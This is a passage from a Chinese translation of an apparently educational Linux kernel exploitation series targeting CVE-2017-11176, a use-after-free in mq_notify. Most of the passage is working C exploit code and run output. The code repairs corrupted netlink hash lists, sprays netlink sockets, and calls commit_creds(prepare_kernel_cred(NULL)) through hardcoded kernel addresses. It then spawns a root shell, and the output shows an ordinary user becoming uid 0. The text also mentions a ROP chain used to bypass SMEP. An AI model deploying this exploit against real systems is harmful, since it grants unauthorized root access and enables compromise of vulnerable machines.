- 检查我们target的next指针。如果是1024,我们是第一种情况,直接重置为next为null。否则,什么都不做,保护元素已经被修复了。
- 修复我们的目标pprev字段
- 进行__hlist_del() 操作,修复bucket链表(因此出现的悬空指针)
- 停止遍历
好了,让我们执行:
// kernel function symbols
#define NL_PID_HASHFN ((void*) 0xffffffff814b6da0)
#define NETLINK_TABLE_GRAB ((void*) 0xffffffff814b7ea0)
#define NETLINK_TABLE_UNGRAB ((void*) 0xffffffff814b73e0)
#define NL_TABLE_ADDR ((void*) 0xffffffff824528c0)
struct hlist_node {
struct hlist_node *next, **pprev;
};
struct hlist_head {
struct hlist_node *first;
};
struct nl_pid_hash {
struct hlist_head* table;
uint64_t rehash_time;
uint32_t mask;
uint32_t shift;
uint32_t entries;
uint32_t max_shift;
uint32_t rnd;
};
struct netlink_table {
struct nl_pid_hash hash;
void* mc_list;
void* listeners;
uint32_t nl_nonroot;
uint32_t groups;
void* cb_mutex;
void* module;
uint32_t registered;
};
typedef void (*netlink_table_grab_func)(void);
typedef void (*netlink_table_ungrab_func)(void);
typedef struct hlist_head* (*nl_pid_hashfn_func)(struct nl_pid_hash *hash, uint32_t pid);
#define netlink_table_grab() \
(((netlink_table_grab_func)(NETLINK_TABLE_GRAB))())
#define netlink_table_ungrab() \
(((netlink_table_ungrab_func)(NETLINK_TABLE_UNGRAB))())
#define nl_pid_hashfn(hash, pid) \
(((nl_pid_hashfn_func)(NL_PID_HASHFN))(hash, pid))
static void payload(void)
{
struct task_struct *current = get_current(restored_rsp);
struct socket *sock = current->files->fdt->fd[unblock_fd]->private_data;
void *sk;
sk = sock->sk; // keep it for list walking
sock->sk = NULL; // fix the 'sk' dangling pointer
// lock all hash tables
netlink_table_grab();
// retrieve NETLINK_USERSOCK's hash table
struct netlink_table *nl_table = * (struct netlink_table**)NL_TABLE_ADDR; // deref it!
struct nl_pid_hash *hash = &(nl_table[NETLINK_USERSOCK].hash);
// retrieve the bucket list
struct hlist_head *bucket = nl_pid_hashfn(hash, g_target.pid); // the original pid
// walk the bucket list
struct hlist_node *cur;
struct hlist_node **pprev = &bucket->first;
for (cur = bucket->first; cur; pprev = &cur->next, cur = cur->next)
{
// is this our target ?
if (cur == (struct hlist_node*)sk)
{
// fix the 'next' and 'pprev' field
if (cur->next == (struct hlist_node*)KMALLOC_TARGET) // 'cmsg_len' value (reallocation)
cur->next = NULL; // first scenario: was the last element in the list
cur->pprev = pprev;
// __hlist_del() operation (dangling pointers fix up)
*(cur->pprev) = cur->next; //意思就是前一个指针的next指向了cur->next
if (cur->next)
cur->next->pprev = pprev;
hash->entries--; // make it clean
// stop walking
break;
}
}
// release the lock
netlink_table_ungrab();
}
注意整个操作是在netlink_table_grab()和netlink_table_ungrab()的锁下的,就像内核做的一样。不然,当其他线程正在修改他时,我们可能会破坏内核。
其实没那么可怕:-)
嘿!上面的代码只在我们设置了守护元素时有用,所以。。。让我们来做吧!
8-2-6 设置守护
如上所述,我们将会做一个类似堆喷射的技术来设置guard。这个注意会创造大量的netlink socket,自动绑定他们,然后扫描整个哈希表来找到两个有潜在的邻接的socket。
首先,让我们来创造一个create_netlink_candidate() 函数来床罩一个socket和自动绑定他:
struct sock_pid
{
int sock_fd;
uint32_t pid;
};
/*
* Creates a NETLINK_USERSOCK netlink socket, binds it and retrieves its pid.
* Argument @sp must not be NULL.
*
* Returns 0 on success, -1 on error.
*/
static int create_netlink_candidate(struct sock_pid *sp)
{
struct sockaddr_nl addr = {
.nl_family = AF_NETLINK,
.nl_pad = 0,
.nl_pid = 0, // zero to use netlink_autobind()
.nl_groups = 0 // no groups
};
size_t addr_len = sizeof(addr);
if ((sp->sock_fd = _socket(AF_NETLINK, SOCK_DGRAM, NETLINK_USERSOCK)) == -1)
{
perror("[-] socket");
goto fail;
}
if (_bind(sp->sock_fd, (struct sockaddr*)&addr, sizeof(addr)) == -1)
{
perror("[-] bind");
goto fail_close;
}
if (_getsockname(sp->sock_fd, &addr, &addr_len))
{
perror("[-] getsockname");
goto fail_close;
}
sp->pid = addr.nl_pid;
return 0;
fail_close:
close(sp->sock_fd);
fail:
sp->sock_fd = -1;
sp->pid = -1;
return -1;
}
下一步,我们需要解析 /proc/net/netlink文件。作为补充, parse_proc_net_netlink()分配一个pids数组,有所有的netlink socket pids(包括我们没有的那个):
/*
* Parses @proto hash table from '/proc/net/netlink' and allocates/fills the
* @pids array. The total numbers of pids matched is stored in @nb_pids.
*
* A typical output looks like:
*
* $ cat /proc/net/netlink
* sk Eth Pid Groups Rmem Wmem Dump Locks Drops
* ffff88001eb47800 0 0 00000000 0 0 (null) 2 0
* ffff88001fa65800 6 0 00000000 0 0 (null) 2 0
*
* Every line is printed from netlink_seq_show():
*
* seq_printf(seq, "%p %-3d %-6d %08x %-8d %-8d %p %-8d %-8d\n"
*
* Returns 0 on success, -1 on error.
*/
static int parse_proc_net_netlink(int **pids, size_t *nb_pids, uint32_t proto)
{
int proc_fd;
char buf[4096];
int ret;
char *ptr;
char *eol_token;
size_t nb_bytes_read = 0;
size_t tot_pids = 1024;
*pids = NULL;
*nb_pids = 0;
if ((*pids = calloc(tot_pids, sizeof(**pids))) == NULL)
{
perror("[-] not enough memory");
goto fail;
}
memset(buf, 0, sizeof(buf));
if ((proc_fd = _open("/proc/net/netlink", O_RDONLY)) < 0)
{
perror("[-] open");
goto fail;
}
read_next_block:
if ((ret = _read(proc_fd, buf, sizeof(buf))) < 0)
{
perror("[-] read");
goto fail_close;
}
else if (ret == 0) // no more line to read
{
goto parsing_complete;
}
ptr = buf;
if (strstr(ptr, "sk") != NULL) // this is the first line
{
if ((eol_token = strstr(ptr, "\n")) == NULL)
{
// XXX: we don't handle this case, we can't even read one line...
printf("[-] can't find end of first line\n");
goto fail_close;
}
nb_bytes_read += eol_token - ptr + 1;
ptr = eol_token + 1; // skip the first line
}
parse_next_line:
// this is a "normal" line
if ((eol_token = strstr(ptr, "\n")) == NULL) // current line is incomplete
{
if (_lseek(proc_fd, nb_bytes_read, SEEK_SET) == -1)
{
perror("[-] lseek");
goto fail_close;
}
goto read_next_block;
}
else
{
void *cur_addr;
int cur_proto;
int cur_pid;
sscanf(ptr, "%p %d %d", &cur_addr, &cur_proto, &cur_pid);
if (cur_proto == proto)
{
if (*nb_pids >= tot_pids) // current array is not big enough, make it grow
{
tot_pids *= 2;
if ((*pids = realloc(*pids, tot_pids * sizeof(int))) == NULL)
{
printf("[-] not enough memory\n");
goto fail_close;
}
}
*(*pids + *nb_pids) = cur_pid;
*nb_pids = *nb_pids + 1;
}
nb_bytes_read += eol_token - ptr + 1;
ptr = eol_token + 1;
goto parse_next_line;
}
parsing_complete:
close(proc_fd);
return 0;
fail_close:
close(proc_fd);
fail:
if (*pids != NULL)
free(*pids);
*nb_pids = 0;
return -1;
}
最后,吧这些家伙塞在一起,用find_netlink_candidates() 来做:
- 创建大量的netlink socket(堆喷射)
- 分析/proc/net/netlink file
- 尝试去找到两个我们拥有的而且连续的socket
- 释放所有的其他 netlink sockets (下一节)
#define MAX_SOCK_PID_SPRAY 300
/*
* Prepare multiple netlink sockets and search "adjacent" ones. Arguments
* @target and @guard must not be NULL.
*
* Returns 0 on success, -1 on error.
*/
static int find_netlink_candidates(struct sock_pid *target, struct sock_pid *guard)
{
struct sock_pid candidates[MAX_SOCK_PID_SPRAY];
int *pids = NULL;
size_t nb_pids;
int i, j;
int nb_owned;
int ret = -1;
target->sock_fd = -1;
guard->sock_fd = -1;
// allocate a bunch of netlink sockets
for (i = 0; i < MAX_SOCK_PID_SPRAY; ++i)
{
if (create_netlink_candidate(&candidates[i]))
{
printf("[-] failed to create a new candidate\n");
goto release_candidates;
}
}
printf("[+] %d candidates created\n", MAX_SOCK_PID_SPRAY);
if (parse_proc_net_netlink(&pids, &nb_pids, NETLINK_USERSOCK))
{
printf("[-] failed to parse '/proc/net/netlink'\n");
goto release_pids;
}
printf("[+] parsing '/proc/net/netlink' complete\n");
// find two consecutives pid that we own (slow algorithm O(N*M))
i = nb_pids;
while (--i > 0)
{
guard->pid = pids[i];
target->pid = pids[i - 1];
nb_owned = 0;
// the list is not ordered by pid, so we do a full walking
for (j = 0; j < MAX_SOCK_PID_SPRAY; ++j)
{
if (candidates[j].pid == guard->pid)
{
guard->sock_fd = candidates[j].sock_fd;
nb_owned++;
}
else if (candidates[j].pid == target->pid)
{
target->sock_fd = candidates[j].sock_fd;
nb_owned++;
}
if (nb_owned == 2)
goto found;
}
// reset sock_fd to release them
guard->sock_fd = -1;
target->sock_fd = -1;
}
// we didn't found any valid candidates, release and quit
goto release_pids;
found:
printf("[+] adjacent candidates found!\n");
ret = 0; // we succeed
release_pids:
i = MAX_SOCK_PID_SPRAY; // reset the candidate counter for release
if (pids != NULL)
free(pids);
release_candidates:
while (--i >= 0)
{
// do not release the target/guard sockets
if ((candidates[i].sock_fd != target->sock_fd) &&
(candidates[i].sock_fd != guard->sock_fd))
{
close(candidates[i].sock_fd);
}
}
return ret;
}
因为新的 create_netlink_candidate()函数,我们不将使用旧的prepare_blocking_socket()函数。无论怎样,我们仍然需要让我们的目标块接收缓冲区被填充。作为补充,我们将会使用“guard”区填充他。这在 fill_receive_buffer()被执行:
static int fill_receive_buffer(struct sock_pid *target, struct sock_pid *guard)
{
char buf[1024*10];
int new_size = 0; // this will be reset to SOCK_MIN_RCVBUF
struct sockaddr_nl addr = {
.nl_family = AF_NETLINK,
.nl_pad = 0,
.nl_pid = target->pid, // use the target's pid
.nl_groups = 0 // no groups
};
struct iovec iov = {
.iov_base = buf,
.iov_len = sizeof(buf)
};
struct msghdr mhdr = {
.msg_name = &addr,
.msg_namelen = sizeof(addr),
.msg_iov = &iov,
.msg_iovlen = 1,
.msg_control = NULL,
.msg_controllen = 0,
.msg_flags = 0,
};
printf("[ ] preparing blocking netlink socket\n");
if (_setsockopt(target->sock_fd, SOL_SOCKET, SO_RCVBUF, &new_size, sizeof(new_size)))
perror("[-] setsockopt"); // no worry if it fails, it is just an optim.
else
printf("[+] receive buffer reduced\n");
printf("[ ] flooding socket\n");
while (_sendmsg(guard->sock_fd, &mhdr, MSG_DONTWAIT) > 0)
;
if (errno != EAGAIN)
{
perror("[-] sendmsg");
goto fail;
}
printf("[+] flood completed\n");
printf("[+] blocking socket ready\n");
return 0;
fail:
printf("[-] failed to prepare blocking socket\n");
return -1;
}
让我们修改main()函数,在初始化再分配之后调用find_netlink_candidates()。注意我们没有再使用sock_fd遍历,而是用g_target.sock_fd。g_target和g_guard是全局声明的,所以我们可以再payload()中使用他。同时,记住在再分配后关闭保护来处理“场景1”(guard 和target是相邻的)。
static struct sock_pid g_target;
static struct sock_pid g_guard;
int main(void)
{
// ... cut ...
printf("[+] reallocation ready!\n");
if (find_netlink_candidates(&g_target, &g_guard))
{
printf("[-] failed to find netlink candidates\n");
goto fail;
}
printf("[+] netlink candidates ready:\n");
printf("[+] target.pid = %d\n", g_target.pid);
printf("[+] guard.pid = %d\n", g_guard.pid);
if (fill_receive_buffer(&g_target, &g_guard))
goto fail;
if (((unblock_fd = _dup(g_target.sock_fd)) < 0) ||
((sock_fd2 = _dup(g_target.sock_fd)) < 0))
{
perror("[-] dup");
goto fail;
}
printf("[+] netlink fd duplicated (unblock_fd=%d, sock_fd2=%d)\n", unblock_fd, sock_fd2);
// trigger the bug twice AND immediatly realloc!
if (decrease_sock_refcounter(g_target.sock_fd, unblock_fd) ||
decrease_sock_refcounter(sock_fd2, unblock_fd))
{
goto fail;
}
realloc_NOW();
// close it before invoking the arbitrary call
printf("[ ] closing guard socket\n");
close(g_guard.sock_fd); // <----- !
// ... cut ...
}
好了,是时候进行crash检测了:
$ ./exploit
[ ] -={ CVE-2017-11176 Exploit }=-
[+] successfully migrated to CPU#0
[+] userland structures allocated:
[+] g_uland_wq_elt = 0x120001000
[+] g_fake_stack = 0x20001000
[+] ROP-chain ready
[ ] optmem_max = 20480
[+] can use the 'ancillary data buffer' reallocation gadget!
[+] g_uland_wq_elt.func = 0xffffffff8107b6b8
[+] reallocation data initialized!
[ ] initializing reallocation threads, please wait...
[+] 200 reallocation threads ready!
[+] reallocation ready!
[+] 300 candidates created
[+] parsing '/proc/net/netlink' complete
[+] adjacent candidates found!
[+] netlink candidates ready:
[+] target.pid = -5723
[+] guard.pid = -5708
[ ] preparing blocking netlink socket
[+] receive buffer reduced
[ ] flooding socket
[+] flood completed
[+] blocking socket ready
[+] netlink fd duplicated (unblock_fd=403, sock_fd2=404)
[ ] creating unblock thread...
[+] unblocking thread has been created!
[ ] get ready to block
[ ][unblock] closing 468 fd
[ ][unblock] unblocking now
[+] mq_notify succeed
[ ] creating unblock thread...
[+] unblocking thread has been created!
[ ] get ready to block
[ ][unblock] closing 404 fd
[ ][unblock] unblocking now
[+] mq_notify succeed
[ ] closing guard socket
[ ] addr_len = 12
[ ] addr.nl_pid = 296082670
[ ] magic_pid = 296082670
[+] reallocation succeed! Have fun :-)
[ ] invoking arbitrary call primitive...
[+] arbitrary call succeed!
[+] exploit complete!
$ cat /proc/net/netlink
sk Eth Pid Groups Rmem Wmem Dump Locks Drops
ffff88001eb47800 0 0 00000000 0 0 (null) 2 0
ffff88001fa66800 6 0 00000000 0 0 (null) 2 0
ffff88001966ac00 9 1125 00000000 0 0 (null) 2 0
ffff88001a2a0800 9 0 00000000 0 0 (null) 2 0
ffff88001e24f400 10 0 00000000 0 0 (null) 2 0
ffff88001e0a2c00 11 0 00000000 0 0 (null) 2 0
ffff88001f492c00 15 480 00000000 0 0 (null) 2 0
ffff88001f492400 15 479 00000001 0 0 (null) 2 0
ffff88001f58f800 15 -4154 00000000 0 0 (null) 2 0
ffff88001eb47000 15 0 00000000 0 0 (null) 2 0
ffff88001e0fe000 16 0 00000000 0 0 (null) 2 0
ffff88001e0fe400 18 0 00000000 0 0 (null) 2 0
ffff8800196bf800 31 1322 00000001 0 0 (null) 2 0
ffff880019698000 31 0 00000000 0 0 (null) 2 0
好了!
没有更多的crash!
内核被修补了!
exp成功了!
我们做到了!
哇!我们现在可以深呼吸了。。。
希望如此,我们修复了“所有事”,没有方剂任何悬空值在或者其他填充。没有人是完美的。。。
所以,下一步做声明?在进入漏洞利用的获利阶段之前,我们要退回我们exp一点,看来说明为什么我们要释放 find_netlink_candidates()中的netlink socket
9.可靠度
在之前几节提起过的,我们忽视了我们在find_netlink_candidates()堆喷射和释放netlink候选人的事实。这么做的原因是为了提高exp的可靠性。
让我们来列举一下exp哪些可能出错(考虑到你没有弄乱硬编码的偏移/地址):
- 再分配失败
- 一个并行的流(或者内核本身)尝试区遍历我们的目标bucket链表。
在part3的开始,改善再分配是一个复杂的主题。如果你想要找到一个方式得到更高的再分配成功率,你真的需要理解内存子系统的细节。这是题外话。我们在part3做的是一个结合CPU固定的一个简单的“堆喷射”。他大部分时间都是有效的,但是这儿有改进的空间。幸运的是,我们的对象是在kmalloc-1024,一个不常用的kmemcache。
在“修复内核”节中,我们看到我们目标的bucket链表可以被两种方式遍历:
- netlink socket有一个和我们目标冲突的pid。
- 当稀释发生时,内核会遍历所有的bucket链表
所有的这些情况,知道我们修复内核,这会引起NULL-deref(返回值为null),因为我们没有控制我们再分配的第一个参数(因此next时1024,一个非null值)。
为了减少稀释和碰撞的风险,我们创造(自动绑定)大量的netlink sockets。越多的bucket,越少的碰撞发生可能性。希望如此,Jenkins哈希函数产生“一致”的值,所以我们有一些东西像一个碰撞再插入时发生的“1/(nb_buckets)”概率。
有着256个bucket,我们有0.4%的概率发生碰撞,这是“可接受”的。
接下来,轮到“稀释”事件了。一个稀释在下面两种情况发生:
- 一个哈希表扩展
- 往一个“满”的bucket插入(碰撞)
我们早就解决了2),看上面。
为了区处理1),我们通过大量的netlink socket先发制人的让他增长。然后因为哈希表时不可缩水的来释放所有的sockets(除了我们的target/guard),这个表变空了。
即,我们只会在其他程序使用密集的用不同的socket和他们的绑定来使用NETLINK_USERSOCK时会出现问题(它可以免费使用其他协议)。这么去估算概率?好的。。。你永远不会知道其他程序会这么跑。。他是游戏的一部分!
我们可以玩,用"/proc/net/netlink"来检测利用率,来决定是否跑这个exp,做一些统计分析等。
下面的图表展示了exp导致内核crash的事情的“危险性”:
10.获取root权限
我们现在要做的是拿到root权限。
取决于你的动机,你在ring0可以做比ring3更多事(逃离container/vm/trustzone,给内核打补丁,提取/扫描内核或者秘密等等),但是人们更强大。。。😃
所以,从我们无特权用户的角度,这是一个权限提升。无论如何,
鉴于我们现在能在ring0执行任意代码,返回ring3就是一种权限下降。
扫描规定了linux的权限?struct cred:
struct cred {
atomic_t usage;
// ... cut ...
uid_t uid; /* real UID of the task */
gid_t gid; /* real GID of the task */
uid_t suid; /* saved UID of the task */
gid_t sgid; /* saved GID of the task */
uid_t euid; /* effective UID of the task */
gid_t egid; /* effective GID of the task */
uid_t fsuid; /* UID for VFS ops */
gid_t fsgid; /* GID for VFS ops */
unsigned securebits; /* SUID-less security management */
kernel_cap_t cap_inheritable; /* caps our children can inherit */
kernel_cap_t cap_permitted; /* caps we're permitted */
kernel_cap_t cap_effective; /* caps we can actually use */
kernel_cap_t cap_bset; /* capability bounding set */
// ... cut ...
#ifdef CONFIG_SECURITY
void *security; /* subjective LSM security */
#endif
// ... cut ...
};
每一个任务(task_struct)有两个struct creds:
struct task_struct {
// ... cut ...
const struct cred *real_cred; /* objective and real subjective task credentials (COW) */
const struct cred *cred; /* effective (overridable) subjective task
// ... cut ...
};
你可能很熟悉uid/pid和euid/egid。Surprisingly,最重要的是实际能力!如果你看各种系统调用(像chroot()),大多数都从!capable(CAP_SYS_xxx)代码开始:
SYSCALL_DEFINE1(chroot, const char __user *, filename)
{
// ... cut ...
error = -EPERM;
if (!capable(CAP_SYS_CHROOT))
goto dput_and_out;
// ... cut ...
}
你很少看到(曾经?)一段代码有( (current->real_cred->uid == 0))在内核代码中(不像用户空间代码)。换句话说,只在你自己的struct cred 身份中“写0”是不够的。
作为补充,你将会看到大量的函数从security_xxx()前缀开始。例如:
static inline int __sock_sendmsg(struct kiocb *iocb, struct socket *sock,
struct msghdr *msg, size_t size)
{
int err = security_socket_sendmsg(sock, msg, size);
return err ?: __sock_sendmsg_nosec(iocb, sock, msg, size);
}
这些函数来自于linux安全模组(LSM),在一个struct cred中使用security 字段。一个著名的LSM是SELinux。LSM的目的是强制执行访问权限。
所以,这儿有:uids,capabilities,security等等。我们应该做什么?只要给整个 struct cred打上补丁?你能,但是这儿有更好的方法。。。改变real_cred 和cred 指针到我们的task_struct?越来越近了。。。
手动覆盖这些指针问题在于:你将会覆盖什么值?扫描root的作业然后用这些值?不!struct cred是刷新的!没有参考的情况下,你只能引进两倍递减(讽刺的是就像我们的bug)。
这是真的有一个函数为你做所有的内部刷新:
int commit_creds(struct cred *new)
{
struct task_struct *task = current;
const struct cred *old = task->real_cred;
// ... cut ...
get_cred(new); // <---- take a reference
// ... cut ...
rcu_assign_pointer(task->real_cred, new);
rcu_assign_pointer(task->cred, new);
// ... cut ...
/* release the old obj and subj refs both */
put_cred(old); // <----- release previous references
put_cred(old);
return 0;
}
好的,但是他需要一个有效的struct cred 参数。所以,是时候去找到他的朋友了:prepare_kernel_cred():
struct cred *prepare_kernel_cred(struct task_struct *daemon)
{
const struct cred *old;
struct cred *new;
new = kmem_cache_alloc(cred_jar, GFP_KERNEL);
if (!new)
return NULL;
if (daemon)
old = get_task_cred(daemon);
else
old = get_cred(&init_cred); // <----- THIS!
validate_creds(old);
*new = *old; // <----- copy all fields
// ... cut ...
}
基本上,prepare_kernel_cred()做的是:部署一个新的struct cred和吧他填充进现在的。无论如何,如果参数是null,他会拷贝init 进程的cred,系统上最受特权的进程(他甚至在“root”里运行)!
你得到他了,我们将会需要这个调用:
commit_cred(prepare_kernel_cred(NULL));
这是所有的了!作为补充,他会干净的释放我们之前的struct cred 。让我们更新exp:
#define COMMIT_CREDS ((void*) 0xffffffff810b8ee0)
#define PREPARE_KERNEL_CRED ((void*) 0xffffffff810b90c0)
typedef int (*commit_creds_func)(void *new);
typedef void* (*prepare_kernel_cred_func)(void *daemon);
#define commit_creds(cred) \
(((commit_creds_func)(COMMIT_CREDS))(cred))
#define prepare_kernel_cred(daemon) \
(((prepare_kernel_cred_func)(PREPARE_KERNEL_CRED))(daemon))
static void payload(void)
{
// ... cut ...
// release the lock
netlink_table_ungrab();
// privilege (de-)escalation
commit_creds(prepare_kernel_cred(NULL));
}
增加“popping shell”代码:
int main(void)
{
// ... cut ...
printf("[+] exploit complete!\n");
printf("[ ] popping shell now!\n");
char* shell = "/bin/bash";
char* args[] = {shell, "-i", NULL};
execve(shell, args, NULL);
return 0;
fail:
printf("[-] exploit failed!\n");
PRESS_KEY();
return -1;
}
返回结果:
[user@localhost tmp]$ id; ./exploit
uid=1000(user) gid=1000(user) groups=1000(user)
[ ] -={ CVE-2017-11176 Exploit }=-
[+] successfully migrated to CPU#0
...
[+] arbitrary call succeed!
[+] exploit complete!
[ ] popping shell now!
[root@localhost tmp]# id
uid=0(root) gid=0(root) groups=0(root)
现在我们完成了!记住,你有ring0任意代码执行,这比root要有更多的特权。聪明的用它,玩的开心:-)!
11.结论
恭喜,你做到了!
首先,我想要感谢你能到达这个点。写你的第一个内核exp是一个吓人的任务,劝退了很多人。他第一次需要去理解大量的东西,
忍耐和好斗。
此外,我们有一点刻意让他变的难(没有炫耀)通过写一个UAF(一个内存损坏bug)。你可能找到更短的exp,只需要很少的代码(有些甚至少于10行!)。这个exp“条理分明的bug”可以被考虑成一个很好的bug教学(无目标,可靠,快)。然而,他们可能很特殊,而且不会揭露许多我们在这儿写的子系统模块。
UAF仍然狠常见在我们写的时候(2018).他们能变得更难或者更简单去被fuzzer发现或者人工分析。特别的,我们在这里利用的bug因为少了一行而存在。作为补充,他只在竞争条件下出现,者让他更难被发现。
在这期间,我们只了解了下面这些linux子系统的表明(来自makelinux.net):
希望你现在更熟悉上面写的这些了。就像你看到的一样,这还有很长的路要走。。。😃
好了。让我们总结我们做了什么。
在part1中,我们介绍了“虚拟文件系统”(什么是文件?FDT?VFT?)的基础知识以及引用计数功能。通过学习公开的信息(CVE描述,补丁),我们得到了一个对bug更好的了解,设计了一个攻击情景。然后我们用SystemTap (一个方便的工具)在内核空间实施他。
在part2,我们介绍了“调度子系统”和一些特殊的等待队列。了解他们让我们无条件的赢得条件竞争。通过严密的分析内核代码补丁,我们能够定制我们的syscall,在用户空间创造exp的proof-of-concept(概念验证阶段)。这导致了我们第一次内核crash。
在part3,我们引进了“内存子系统”,关注于SLAB分配器,必须利用多次UAF和堆溢出bug。在分析了更深入的细节,所有信息必须用来利用UAF漏洞,我们找到一个方法来利用类型混淆得到任意调用操作,让netlink socket等待队列指向用户空间。作为补充,我们用著名的再分配gadget来实行再分配:辅助数据缓存区。
在最后的部分中,我们看到大量的与x86-64相关的““low-level(低水平)” ”和“architecture-dependent(依赖框架)”的事情
(内核栈,虚拟内存布局,线程信息(thread_info))。为了得到任意代码执行操作,我们攻击了一个硬件安全功能:SMEP。了解x86-64访问权限的确定,像页错误异常跟踪,我们设计了一个利用策略来绕过它(用ROP-chain来禁用它)。
获取任意执行是成功的唯一办法,因为我们仍然需要修复内核。修复socket悬空指针是相当简单的,修复哈希列表给我们带来了不少困难,我们凭借着我们堆netlink代码的理解克服了(数据结构,算法,进程文件系统(procfs))。在最后,我们得到了root shell仅仅通过调用两个内核函数,还分析exp的弱点(可靠度)。
12.进一步学习
接下来该做什么?
如果你想要改进这个exp,这儿仍然有很多事情要做。举个例子,你能用ROP重新开启SMEP嘛,还有更多有趣的事情,没有ROP(使用PTEs,映射可执行代码到内核空间等等)。你可能想要增加另一个gadget到你的工具箱里,看看msgsnd(),找到一个彻底提高再分配成功率的方法。一个更有挑战性的事情是不适用任何ROP获得任意代码执行(记住,你可以改变func,想调用多少次都可以)。
现在,假设你的目标上有SMAP,我们仍然能用这个方法来利用这个bug嘛?如果不,该怎么做?或许任意调用操作不是一个好注意。。。迟早你会发现用一个任意读/写实际上时一个更好的方法,因为它能绕开基本上所有的保护。
如果你想要继续,检查CVE,尝试区做我们在这儿做的一样的工作。了解bug,编写poc,创建exp。不要相信CVE说明,把bug定义为dos或者有一个“低/中”评价。事实上,编写一个CVE的exp是一个很好的方法区了解linux内核,因为如果你不了解发生了什么,linu内核就不会工作。
最后一点,我热烈欢迎你进入内核黑客世界。我希望你享受这个系列,学到很多并且想学到更多!感谢阅读。
“Salut, et merci pour le poisson !”